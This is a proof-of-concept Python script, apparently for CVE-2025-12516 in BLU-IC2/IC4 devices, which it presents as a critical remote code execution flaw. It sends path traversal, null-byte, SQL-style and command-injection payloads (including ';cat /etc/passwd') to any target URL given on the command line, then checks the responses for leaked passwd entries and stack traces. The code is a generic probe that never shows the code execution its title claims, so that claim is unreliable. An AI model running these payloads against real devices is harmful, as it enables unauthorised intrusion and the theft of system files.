CVE-2025-12516: BLU-IC2/IC4缺乏优雅错误处理导致远程代码执行

# CVE-2025-12516 PoC - BLU-IC2/IC4 Error Handling Vulnerability # Target: BLU-IC2/IC4 devices up to version 1.19.5 # CVSS: 9.8 (Critical) import requests import sys def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2025-12516 """ # Test various error-inducing requests payloads = [ "/api/config?param=%00", # Null byte injection "/api/system/status'OR'1'='1", # SQL-like injection "/../../../etc/passwd", # Path traversal "/api/execute?cmd=;cat /etc/passwd", # Command injection ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/json' } for payload in payloads: try: response = requests.get(target_url + payload, headers=headers, timeout=10, verify=False) # Check for information disclosure indicators if response.status_code >= 500: print(f"[+] Triggered HTTP {response.status_code} error") print(f"[+] Response preview: {response.text[:500]}") # Check for sensitive information leaks error_indicators = ['stack trace', 'exception', 'traceback', 'java.lang', 'at ', 'root:x:', '/etc/passwd'] for indicator in error_indicators: if indicator.lower() in response.text.lower(): print(f"[!] Found sensitive info leak: {indicator}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-12516.py <target_url>") print("Example: python cve-2025-12516.py http://192.168.1.100") sys.exit(1) target = sys.argv[1] print(f"[*] Scanning {target} for CVE-2025-12516...") if check_vulnerability(target): print("[+] Target appears vulnerable!") else: print("[-] Target may not be vulnerable or is patched.")